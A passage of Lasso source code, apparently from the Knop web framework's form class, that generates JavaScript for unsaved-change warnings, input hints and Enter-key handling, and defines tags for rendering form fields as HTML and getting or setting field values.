false};\n\t\t\t\t\tmakeundirty();\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tfunction dirtyvalue(obj){ // to be called at keydown to track if a text field changes or if arrow keys/tab/cmd-keys are pressed\n\t\t\t\t\t dirtycheckname = obj.name;\n\t\t\t\t\t dirtycheckvalue = obj.value;\n\t\t\t\t}\n\t\t\t\tfunction makeundirty(){\n\t\t\t\t\tdirty=false; \n\t\t\t\t\tdirtymarker();\n\t\t\t\t\twindow.onbeforeunload=null;\n\t\t\t\t}\n\t\t\t\tfunction makedirty(obj){\n\t\t\t\t\tif(obj){ // if object is specified then we are tracking if the value changes through keydown/keyup \n\t\t\t\t\t\tif (obj.value == dirtycheckvalue || obj.name != dirtycheckname) { // no change or tabbed to another field - return immediately\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tdirty=true; \n\t\t\t\t\tdirtymarker();\n\t\t\t\t}\n\t\t\t\tfunction checkdirty(){\n\t\t\t\t\tif(dirty){\n\t\t\t\t\t\treturn confirm(\\'' + (self -> 'unsavedwarning') + '\\')\n\t\t\t\t\t} else {return true}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tfunction dirtymarker() {\n\t\t\t\t\tvar obj = document.getElementById(\\'' + (self -> 'unsavedmarker') + '\\');\n\t\t\t\t\tif(dirty && obj){\n\t\t\t\t\t\tjscss(\\'add\\',obj,\\'' + (self -> 'unsavedmarkerclass') + '\\');\n\t\t\t\t\t}else if(obj) {\n\t\t\t\t\t\tjscss(\\'remove\\',obj,\\'' + (self -> 'unsavedmarkerclass') + '\\');\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tfunction jscss(a,o,c1,c2){\n\t\t\t\t\t/*\n\t\t\t\t\t\ta = action: swap, add, remove, check\n\t\t\t\t\t\to = object\n\t\t\t\t\t\tc1 = name of the class (first class for swap)\n\t\t\t\t\t\tc2 = for swap, name of the second class\n\t\t\t\t\t\thttp://onlinetools.org/articles/unobtrusivejavascript/cssjsseparation.html\n\t\t\t\t\t*/\n\t\t\t\t\tswitch (a){\n\t\t\t\t\t\tcase \\'swap\\':\n\t\t\t\t\t\t\to.className=!jscss(\\'check\\',o,c1)?o.className.replace(c2,c1): o.className.replace(c1,c2);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase \\'add\\':\n\t\t\t\t\t\t\tif(!jscss(\\'check\\',o,c1)){o.className+=o.className?\\' \\'+c1:c1;}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase \\'remove\\':\n\t\t\t\t\t\t\tvar rep=o.className.match(\\' \\'+c1)?\\' \\'+c1:c1;\n\t\t\t\t\t\t\to.className=o.className.replace(rep,\\'\\');\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase \\'check\\':\n\t\t\t\t\t\t\treturn new RegExp(\\'\\\\\\\\b\\'+c1+\\'\\\\\\\\b\\').test(o.className);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif(dirty) {makedirty()};');\n\t\t\t\t\n\t\t\t\t(self -> 'unsavedwarning') != '' \n\t\t\t\t\t? self -> (afterhandler: -endscript='function beforeunload() {\n\t\t\t\t\tif(dirty) {return \\'' + (self -> 'unsavedwarning') + '\\';}\n\t\t\t\t}\n\t\t\t\twindow.onbeforeunload=beforeunload;');\n\t\t\t\t\n\t\t\t\t#output >> 'submitOk'\n\t\t\t\t\t? self -> (afterhandler: -endscript='function submitOk(e) { // prevents submit-on-enter\n\t\t\t\t\tvar keynum;\n\t\t\t\t\tvar elTarget;\n\t\t\t\t\tvar elType;\n\t\t\n\t\t\t\t\t// get keycode for the event \n\t\t\t\t\tif(window.event) keynum = e.keyCode; // IE\n\t\t\t\t\telse if(e.which) keynum = e.which; // DOM\n\t\t\n\t\t\t\t\t// get target\n\t\t\t\t\tif (e.target) elTarget = e.target;\n\t\t\t\t\telse if (e.srcElement) elTarget = e.srcElement;\n\t\t\n\t\t\t\t\tif(elTarget.tagName.toLowerCase()  == \\'input\\') elType = elTarget.getAttribute(\\'type\\').toLowerCase();\n\t\t\t\t\tsubmitBlock=false;\n\t\t\t\t\tif (elType != \\'submit\\' && elType != \\'image\\' && elType != \\'reset\\') {\n\t\t\t\t\t\t// allow enter submit when submit button/image or reset button has focus\n\t\t\t\t\t\tif (keynum==13) submitBlock=true;\n\t\t\t\t\t}\n\t\t\t\t\treturn true;\n\t\t\t\t}');\n\t\t\t/if; // noscript\n\n\t\tif: false && $knop_form_renderform_counter <= 1;\n\t\t\t\t\t\t\t\t\t\tself -> (afterhandler: -headscript=\n\t\t\t\t\t\t\t\t\t\t\t'function getStyleObject(objectId) {\n\t\t\t\t\t\t\t\t\t\t\t\tif(document.getElementById && document.getElementById(objectId)) {\n\t\t\t\t\t\t\t\t\t\t\t\treturn document.getElementById(objectId).style;\n\t\t\t\t\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\tfunction jscss(a,o,c1,c2){\n\t\t\t\t\t\t\t\t\t\t\t\t/*\n\t\t\t\t\t\t\t\t\t\t\t\t\ta = action: swap, add, remove, check\n\t\t\t\t\t\t\t\t\t\t\t\t\to = object\n\t\t\t\t\t\t\t\t\t\t\t\t\tc1 = name of the class (first class for swap)\n\t\t\t\t\t\t\t\t\t\t\t\t\tc2 = for swap, name of the second class\n\t\t\t\t\t\t\t\t\t\t\t\t\thttp://onlinetools.org/articles/unobtrusivejavascript/cssjsseparation.html\n\t\t\t\t\t\t\t\t\t\t\t\t*/\n\t\t\t\t\t\t\t\t\t\t\t\tswitch (a){\n\t\t\t\t\t\t\t\t\t\t\t\t\tcase \\'swap\\':\n\t\t\t\t\t\t\t\t\t\t\t\t\t\to.className=!jscss(\\'check\\',o,c1)?o.className.replace(c2,c1): o.className.replace(c1,c2);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\t\t\tcase \\'add\\':\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tif(!jscss(\\'check\\',o,c1)){o.className+=o.className?\\' \\'+c1:c1;}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\t\t\tcase \\'remove\\':\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tvar rep=o.className.match(\\' \\'+c1)?\\' \\'+c1:c1;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\to.className=o.className.replace(rep,\\'\\');\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\t\t\tcase \\'check\\':\n\t\t\t\t\t\t\t\t\t\t\t\t\t\treturn new RegExp(\\'\\\\\\\\b\\'+c1+\\'\\\\\\\\b\\').test(o.className);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\tfunction togglecontrol(obj){\n\t\t\t\t\t\t\t\t\t\t\t\t// toggles checkboxes and radios when clicking on label (for browsers that don´t support this already)\n\t\t\t\t\t\t\t\t\t\t\t\tswitch (obj.type){\n\t\t\t\t\t\t\t\t\t\t\t\tcase \\'checkbox\\':\n\t\t\t\t\t\t\t\t\t\t\t\t\tobj.checked=!obj.checked;\n\t\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\t\tcase \\'radio\\':\n\t\t\t\t\t\t\t\t\t\t\t\t\tobj.checked=true;\n\t\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\tfunction setHint(myField, hint) {\n\t\t\t\t\t\t\t\t\t\t\t\tif(myField.value==\\'\\') {\n\t\t\t\t\t\t\t\t\t\t\t\t\tif(myField.name.indexOf(\\'off_\\') != 0) {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tmyField.name=\\'off_\\' + myField.name;\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\tmyField.value=hint;\n\t\t\t\t\t\t\t\t\t\t\t\t\tgetStyleObject(myField.id).color=\\'#aaa\\';\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\tfunction clearHint(myField) {\n\t\t\t\t\t\t\t\t\t\t\t\tif(myField.name.indexOf(\\'off_\\') == 0) {\n\t\t\t\t\t\t\t\t\t\t\t\t\tmyField.name=myField.name.substr(4);\n\t\t\t\t\t\t\t\t\t\t\t\t\tmyField.value=\\'\\';\n\t\t\t\t\t\t\t\t\t\t\t\t\tgetStyleObject(myField.id).color=\\'black\\';\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\tvar dirty=' + ((self -> 'errors') -> size ? 'true' | 'false') + ';\n\t\t\t\t\t\t\t\t\t\t\tvar dirtycheckname=null;\n\t\t\t\t\t\t\t\t\t\t\tvar dirtycheckvalue=null;\n\t\t\t\t\t\t\t\t\t\t\tvar submitBlock=false;\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\tfunction validateform(myForm) {\n\t\t\t\t\t\t\t\t\t\t\t\t// perform validation of myForm here\n\t\t\t\t\t\t\t\t\t\t\t\tif(submitBlock){return false};\n\t\t\t\t\t\t\t\t\t\t\t\tmakeundirty();\n\t\t\t\t\t\t\t\t\t\t\t\treturn true;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\tfunction dirtyvalue(obj){ // to be called at keydown to track if a text field changes or if arrow keys/tab/cmd-keys are pressed\n\t\t\t\t\t\t\t\t\t\t\t\t dirtycheckname = obj.name;\n\t\t\t\t\t\t\t\t\t\t\t\t dirtycheckvalue = obj.value;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\tfunction makeundirty(){\n\t\t\t\t\t\t\t\t\t\t\t\tdirty=false; \n\t\t\t\t\t\t\t\t\t\t\t\tdirtymarker();\n\t\t\t\t\t\t\t\t\t\t\t\twindow.onbeforeunload=null;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\tfunction makedirty(obj){\n\t\t\t\t\t\t\t\t\t\t\t\tif(obj){ // if object is specified then we are tracking if the value changes through keydown/keyup \n\t\t\t\t\t\t\t\t\t\t\t\t\tif (obj.value == dirtycheckvalue || obj.name != dirtycheckname) { // no change or tabbed to another field - return immediately\n\t\t\t\t\t\t\t\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\tdirty=true; \n\t\t\t\t\t\t\t\t\t\t\t\tdirtymarker();\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\tfunction checkdirty(){\n\t\t\t\t\t\t\t\t\t\t\t\tif(dirty){\n\t\t\t\t\t\t\t\t\t\t\t\t\treturn confirm(\\'' + (self -> 'unsavedwarning') + '\\')\n\t\t\t\t\t\t\t\t\t\t\t\t} else {return true}\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\tfunction beforeunload() {\n\t\t\t\t\t\t\t\t\t\t\t\tif(dirty) {\n\t\t\t\t\t\t\t\t\t\t\t\t\treturn \\'' + (self -> 'unsavedwarning') + '\\';\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\tfunction dirtymarker() {\n\t\t\t\t\t\t\t\t\t\t\t\tvar obj = document.getElementById(\\'' + (self -> 'unsavedmarker') + '\\');\n\t\t\t\t\t\t\t\t\t\t\t\tif(dirty && obj){\n\t\t\t\t\t\t\t\t\t\t\t\t\tjscss(\\'add\\',obj,\\'' + (self -> 'unsavedmarkerclass') + '\\');\n\t\t\t\t\t\t\t\t\t\t\t\t}else if(obj) {\n\t\t\t\t\t\t\t\t\t\t\t\t\tjscss(\\'remove\\',obj,\\'' + (self -> 'unsavedmarkerclass') + '\\');\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t' + ((self -> 'unsavedwarning') != '' ? 'window.onbeforeunload=beforeunload;') + '\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\tfunction submitOk(e) { // prevents submit-on-enter\n\t\t\t\t\t\t\t\t\t\t\t\tvar keynum;\n\t\t\t\t\t\t\t\t\t\t\t\tvar elTarget;\n\t\t\t\t\t\t\t\t\t\t\t\tvar elType;\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t// get keycode for the event \n\t\t\t\t\t\t\t\t\t\t\t\tif(window.event) keynum = e.keyCode; // IE\n\t\t\t\t\t\t\t\t\t\t\t\telse if(e.which) keynum = e.which; // DOM\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t// get target\n\t\t\t\t\t\t\t\t\t\t\t\tif (e.target) elTarget = e.target;\n\t\t\t\t\t\t\t\t\t\t\t\telse if (e.srcElement) elTarget = e.srcElement;\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\tif(elTarget.tagName.toLowerCase()  == \\'input\\') elType = elTarget.getAttribute(\\'type\\').toLowerCase();\n\t\t\t\t\t\t\t\t\t\t\t\tsubmitBlock=false;\n\t\t\t\t\t\t\t\t\t\t\t\tif (elType != \\'submit\\' && elType != \\'image\\' && elType != \\'reset\\') {\n\t\t\t\t\t\t\t\t\t\t\t\t\t// allow enter submit when submit button/image or reset button has focus\n\t\t\t\t\t\t\t\t\t\t\t\t\tif (keynum==13) submitBlock=true;\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\treturn true;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t');\n\t\t/if;\n\t\tif: !(self -> 'noscript') && #usehint -> size > 0;\n\t\t\tlocal: 'hintscript'=string;\n\t\t\t// #usehint is a pair array with name=id\n\t\t\titerate: #usehint, (local: 'hintfield');\n\t\t\t\tif: (self -> 'fields') >> #hintfield -> name;\n\t\t\t\t\t#onefield = (self -> 'fields') -> (find: #hintfield -> name) -> first -> value;\n\t\t\t\t\t#hintscript += 'setHint(document.getElementById(\\'' + (encode_html: #hintfield -> value) + '\\'), \\'' \n\t\t\t\t\t\t+ (#onefield -> (find: 'hint')) + '\\');\\n';\n\t\t\t\t/if;\n\t\t\t/iterate;\n\t\t\t\n\t\t\tself -> (afterhandler: -endscript=#hintscript);\n\t\t/if;\n\t\tif: !(self -> 'noscript') && #focusfield != '';\n\t\t\tself -> (afterhandler: -endscript='document.getElementById(\\'' + #focusfield + '\\').focus();document.getElementById(\\'' + #focusfield + '\\').select();');\n\t\t/if;\n\n\t\tif: (self -> 'render_fieldset_open') && (params -> size == 0 || (local_defined: 'end'));\n\t\t\t// inner fieldset is open\n\t\t\t(self -> 'render_fieldset_open') = false;\n\t\t\t#output += '</fieldset>\\n';\n\t\t/if;\n\t\tif: (self -> 'render_fieldset2_open') && (local_defined: 'legend');\n\t\t\t// inner fieldset is open\n\t\t\t(self -> 'render_fieldset2_open') = false;\n\t\t\t#output += '</fieldset>\\n';\n\t\t/if;\n\n\t\tif: #renderformEndTag;\n\t\t\tif: (self -> 'fieldset');\n\t\t\t\t#output += '</fieldset>\\n';\n\t\t\t/if;\n\t\t\n\t\t\t// render closing form tag\n\t\t\t#output += '</form>';\n\t\t/if;\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t\treturn: @#output;\n\t/define_tag;\n\n\tdefine_tag: 'renderhtml', -description='Outputs form data as plain HTML, a specific field, a range of fields or all fields of a specific type. \\\n\t\t\tSome form field types are excluded, such as submit, reset, file etc. \\\n\t\t\tUse form -> setformat first to specify the html format, otherwise default format #label#: #field#<br> is used.\\n\\\n\t\t\tParameters:\\n\\\n\t\t\t-name (optional) Render only the specified field\\n\\\n\t\t\t-from (optional) Render fields from the specified number index or field name\\n\\\n\t\t\t-to (optional) Render fields to the specified number index or field name\\n\\\n\t\t\t-type (optional) Only render fields of this or these types (string or array)\\n\\\n\t\t\t-excludetype (optional) Render fields except of this or these types (string or array)\\n\\\n\t\t\t-legend (optional) Groups the rendered fields in a fieldset and outputs a legend for the fieldset\\n\\\n\t\t\t-xhtml (optional flag) XHTML valid output',\n\t\t-optional='name', -copy,\t// field name\n\t\t-optional='from', -copy, \t// number index or field name\n\t\t-optional='to', -copy, \t\t// number index or field name\n\t\t-optional='type', -copy,\t// only output fields of this or these types (string or array)\n\t\t-optional='excludetype', -copy,\t// do not output fields of this or these types (string or array)\n\t\t-optional='legend',\t\t\t// groups the rendered fields in a fieldset and outputs a legend for the fieldset\n\t\t-optional='xhtml';\t\t\t// boolean, if set to true adjust output for XHTML\n\t\tlocal: 'timer'=knop_timer; \n\t\t\n\t\tlocal: 'output'=string, \n\t\t\t'onefield'=map, \n\t\t\t'renderfield'=string, \n\t\t\t'renderfield_base'=string, \n\t\t\t'renderrow'=string,\n\t\t\t'fieldvalue'=string,\n\t\t\t'fieldvalue_array'=array,\n\t\t\t'options'=array,\n\t\t\t'usehint'=array;\n\n\t\t\n\t\t// local var that adjust tag endings if rendered for XHTML\n\t\tlocal: 'endslash' = ((self -> (xhtml: params)) ? ' /' | '');\n\n\t\t(local_defined: 'name') && !((self -> 'fields') >> #name) \t? \treturn;\n\n\t\t(local_defined: 'name')\t\t? local: 'from'=#name, 'to'=#name;\n\t\t!(local_defined: 'from') \t\t? local: 'from'=1;\n\t\t!(local_defined: 'to') \t\t\t? local: 'to'=(self -> 'fields') -> size;\n\t\t!(local_defined: 'type')\t\t? local: 'type'=(self -> 'validfieldtypes');\n\t\t!(local_defined: 'excludetype')\t? local: 'excludetype'=map;\n\t\t#type -> type == 'string' \t\t? #type = (map: #type);\n\t\t#excludetype -> type == 'string' ? #excludetype = (map: #excludetype);\n\n\t\t// use field name if #from is a string\n\t\t#from -> type == 'string' ? #from = integer: ((self -> 'fields') -> (findindex: #from) -> first);\n\t\t#from == 0 ? #from = 1;\n\t\t// negative numbers count from the end\n\t\t#from < 0 ? #from = (self -> 'fields') -> size + #from;\n\n\t\t// use field name if #to is a string\n\t\t#to -> type == 'string' ? #to = integer: ((self -> 'fields') -> (findindex: #to) -> last);\n\t\t#to == 0 ? #to = (self -> 'fields') -> size;\n\t\t// negative numbers count from the end\n\t\t#to < 0 ? #to = (self -> 'fields') -> size + #to;\n\n\t\t//Sanity check\n\t\t#from > #to ? #to = #from;\n\n\t\tlocal: 'template'=( (self -> 'template') != '' \n\t\t\t? (self -> 'template') \t\t\n\t\t\t| '#label#: #field#<br' + #endslash + '>\\n' );\n\t\tlocal: 'buttontemplate'=( (self -> 'buttontemplate') != '' \n\t\t\t? (self -> 'buttontemplate') \t\t\n\t\t\t| (self -> 'template') != '' \n\t\t\t? (self -> 'template')\n\t\t\t| '#field#\\n' );\n\t\tlocal: 'defaultclass'=( (self -> 'class') != '' \n\t\t\t? (self -> 'class') \t\t\n\t\t\t| '');\n\t\tif: (local_defined: 'legend');\n\t\t\t#output += '<fieldset>\\n'\n\t\t\t\t+ '<legend>' + #legend + '</legend>\\n';\n\t\t\t(self -> 'render_fieldset2_open') = true;\n\t\t/if;\n\t\titerate: (self -> 'fields'), (local: 'fieldpair');\n\t\t\t#onefield = #fieldpair -> value;\n\t\t\t#fieldvalue = (#onefield -> (find: 'value'));\n\t\t\t#fieldvalue_array = #fieldvalue;\n\t\t\tif: #fieldvalue_array -> type != 'array';\n\t\t\t\tif: #fieldvalue_array >> '\\r'; // Filemaker value list with multiple checked\n\t\t\t\t\t#fieldvalue_array = #fieldvalue_array -> (split: '\\r');\n\t\t\t\telse: #fieldvalue_array >> ','; // Other database with multiple checked\n\t\t\t\t\t#fieldvalue_array = #fieldvalue_array -> (split: ',');\n\t\t\t\telse;\n\t\t\t\t\t#fieldvalue_array = array: #fieldvalue_array;\n\t\t\t\t/if;\n\t\t\t/if;\n\t\t\tif: #onefield >> 'options';\n\t\t\t\t#options = (#onefield -> find: 'options');\n\t\t\t\t// convert types for pair \n\t\t\t\titerate: #options, (local: 'option');\n\t\t\t\t\tif: #option -> type != 'pair';\n\t\t\t\t\t\t#option = (pair: #option = #option);\n\t\t\t\t\t/if;\n\t\t\t\t\t// name must be string to make sure comparsions work\n\t\t\t\t\t(#option -> name) = (string: #option -> name);\n\t\t\t\t/iterate;\n\t\t\t/if;\n\t\t\tif: loop_count >= #from \n\t\t\t\t&& loop_count <= #to\n\t\t\t\t&& #type >> #onefield -> (find: 'type')\n\t\t\t\t&& !(#excludetype >> #onefield -> (find: 'type'));\n\n\t\t\t\tif: #onefield -> (find: 'template') -> size;\n\t\t\t\t\t#renderrow = #onefield -> (find: 'template');\n\t\t\t\telse: (map: 'submit', 'reset', 'image') >> #onefield -> (find: 'type');\n\t\t\t\t\t#renderrow=#buttontemplate;\n\t\t\t\telse;\n\t\t\t\t\t#renderrow=#template;\n\t\t\t\t/if;\n\n\t\t\t\tif: (self -> 'exceptionfieldtypes') >> (#onefield -> (find: 'type'));\n\t\t\t\t\t#renderrow -> (replace: '#label#:', '');\n\t\t\t\t\t#renderrow -> (replace: '#label#', '');\n\t\t\t\telse: (#onefield -> (find: 'label')) != '';\n\t\t\t\t\t#renderrow -> (replace: '#label#', (#onefield -> (find: 'label') ));\n\t\t\t\telse: \n\t\t\t\t\t#renderrow -> (replace: '#label#:', '');\n\t\t\t\t\t#renderrow -> (replace: '#label#', '');\n\t\t\t\t/if;\n\t\t\t\tif: (map: 'radio', 'checkbox', 'select') >> (#onefield -> (find: 'type'));\n\t\t\t\t\t#renderfield = string;\n\t\t\t\t\titerate: #fieldvalue_array, local: 'onefieldvalue';\n\t\t\t\t\t\tif: loop_count > 1;\n\t\t\t\t\t\t\t#renderfield += ( (#onefield -> find: 'linebreak') ? '<br' + #endslash + '>\\n' | ', ');\n\t\t\t\t\t\t/if;\n\t\t\t\t\t\tif: #options >> #onefieldvalue;\n\t\t\t\t\t\t\t// show the display text for a selected option\n\t\t\t\t\t\t\t#renderfield += (encode_break: (#options -> (find: #onefieldvalue) -> first -> value));\n\t\t\t\t\t\telse;\n\t\t\t\t\t\t\t// show the option value itself\n\t\t\t\t\t\t\t#renderfield += (encode_break: #onefieldvalue);\n\t\t\t\t\t\t/if;\n\t\t\t\t\t/iterate;\n\t\t\t\telse: (#onefield -> (find: 'type')) == 'html';\n\t\t\t\t\t#renderrow = #template;\n\t\t\t\t\t#renderrow -> (replace: '#label#:', '');\n\t\t\t\t\t#renderrow -> (replace: '#label#', '');\n\t\t\t\t\t#renderrow -> (replace: '#required#', '');\n\t\t\t\t\t#renderfield = #fieldvalue + '\\n';\n\t\t\t\telse: (#onefield -> (find: 'type')) == 'legend';\n\t\t\t\t\t#renderrow = '';\n\t\t\t\t\tif: (self -> 'render_fieldset_open');\n\t\t\t\t\t\t#output += '</fieldset>\\n';\n\t\t\t\t\t\t(self -> 'render_fieldset_open') = false;\n\t\t\t\t\t/if;\n\t\t\t\t\t#output += '<fieldset>\\n';\n\t\t\t\t\t#output += '<legend>' + (encode_html: #fieldvalue) + '</legend>';\n\t\t\t\t\t(self -> 'render_fieldset_open') = true;\n\t\t\t\telse: (#onefield -> (find: 'type')) == 'fieldset';\n\t\t\t\t\t#renderrow = '';\n\t\t\t\t\tif: (self -> 'render_fieldset_open');\n\t\t\t\t\t\t#output += '</fieldset>\\n';\n\t\t\t\t\t\t(self -> 'render_fieldset_open') = false;\n\t\t\t\t\t/if;\n\t\t\t\t\tif: #fieldvalue != false;\n\t\t\t\t\t\t#output += '<fieldset>\\n<legend></legend>'; // must contain a legend\n\t\t\t\t\t\t(self -> 'render_fieldset_open') = true;\n\t\t\t\t\t/if;\n\t\t\t\telse;\n\t\t\t\t\t#renderfield = (encode_break: #fieldvalue);\n\t\t\t\t/if;\n\t\t\t\t#renderrow -> (replace: '#field#', #renderfield);\n\t\t\t\t#output += #renderrow;\n\t\t\t/if;\n\t\t/iterate;\n\t\tif: (local_defined: 'legend') && (self -> 'render_fieldset2_open');\n\t\t\t// inner fieldset is open\n\t\t\t(self -> 'render_fieldset2_open') = false;\n\t\t\t#output += '</fieldset>\\n';\n\t\t/if;\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t\treturn: #output;\n\t/define_tag;\n\n\tdefine_tag: 'getvalue', -description='Returns the current value of a form field. Returns an array for repeated form fields. ',\n\t\t-required='name', -type='string',\n\t\t-optional='index', -type='integer', -copy;\n\t\t!local_defined('index') ? local('index' = 1);\n\t\t#index < 1 ? #index = 1;\n\t\tif: (self -> 'fields') >> #name;\n\t\t\tif(#index > (self -> 'fields') -> find(#name) -> size);\n\t\t\t\treturn;\n\t\t\t/if;\n\t\t\treturn: (self -> 'fields') -> (find: #name) -> get(#index) -> value -> (find: 'value');\n\t\t/if;\n\t/define_tag;\n\n\tdefine_tag: 'getlabel', -description='Returns the label for a form field. ',\n\t\t-required='name', -type='string';\n\t\tif: (self -> 'fields') >> #name;\n\t\t\treturn: (self -> 'fields') -> (find: #name) -> first -> value -> (find: 'label');\n\t\t/if;\n\t/define_tag;\n\n\tdefine_tag: 'setvalue', -description='Sets the value for a form field. \\\n\t\t\t\tEither form -> (setvalue: fieldname=newvalue) or form -> (setvalue: -name=fieldname, -value=newvalue)',\n\t\t-required='name',\n\t\t-optional='value',\n\t\t-optional='index', -type='integer', -copy;\n\t\tlocal: 'timer'=knop_timer; \n\t\t// either -> (setvalue: 'fieldname'='newvalue') or -> (setvalue: -name='fieldname', -value='newvalue')\n\t\tlocal: '_name'=#name, '_value'=(local: 'value');\n\t\t!local_defined('index') ? local('index' = 1);\n\t\t#index < 1 ? #index = 1;\n\t\tif: #name -> type == 'pair';\n\t\t\t#_name = #name -> name;\n\t\t\t#_value = #name -> value;\n\t\t/if;\n\t\tif: (self -> 'fields') >> #_name;\n\t\t\tif(#index > (self -> 'fields') -> find(#_name) -> size);\n\t\t\t\treturn;\n\t\t\t/if;\n\t\t\t// first remove value to break reference\n\t\t\t((self -> 'fields') -> get((self -> 'fields') -> (findindex: #_name) -> get(#index)) -> value) -> (remove: 'value');\n\t\t\t((self -> 'fields') -> get((self -> 'fields') -> (findindex: #_name) -> get(#index)) -> value) -> (insert: 'value'=#_value);\n\t\t/if;\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t/define_tag;\n\n\tdefine_tag: 'removefield', -description='Removes all form elements with the specified name from the form',\n\t\t-required='name', -type='string';\n\t\tlocal: 'timer'=knop_timer; \n\t\t(self -> 'fields') -> (removeall: #name);\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t/define_tag;\n\t\n\tdefine_tag: 'keys', -description='Returns an array of all field names';\n\t\tlocal: 'timer'=knop_timer; \n\t\tlocal: 'output'=array;\n\t\titerate: (self -> 'fields'), (local: 'fieldpair');\n\t\t\t#output -> (insert: #fieldpair -> name);\n\t\t/iterate;\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n\t\treturn: #output;\n\t/define_tag;\n\n\n\tdefine_tag: 'keyvalue'; \t\t\treturn: (self -> 'db_keyvalue');\t\t/define_tag;\n\tdefine_tag: 'lockvalue'; \t\t\treturn: (self -> 'db_lockvalue');\t\t/define_tag;\n\tdefine_tag: 'lockvalue_decrypted';\n\t\t(self -> 'database') -> type != 'database' ? return;\n\t\treturn: (decrypt_blowfish: (self -> 'db_lockvalue'), -seed=(self -> 'database' -> 'lock_seed'));\n\t/define_tag;\n\tdefine_tag: 'database'; \t\t\treturn: (self -> 'database');\t\t\t/define_tag;\n\n\tdefine_tag: 'formmode', -description='Returns add or edit after for -> init has been called';\n\t\tlocal: 'timer'=knop_timer; \n\t\tif: (self -> getbutton) == 'add';\n\t\t\t// this is needed to keep the right form mode after a failed add\n\t\t\t(self -> 'formmode') = 'add';\n\t\t/if;\n\t\tself -> 'tagtime_tagname'=tag_name;\n\t\tself -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to \"stop timer\"\n \t\treturn: (self -> 'formmode');\n \t/define_tag;\n\n\tdefine_tag: 'error_code';\n\t\t// custom error_code for knop_form\n\t\tif: (self -> 'error_code');\n\t\t\treturn: integer: (self -> 'error_code');\n\t\telse: (self -> 'errors') -> type == 'array' && 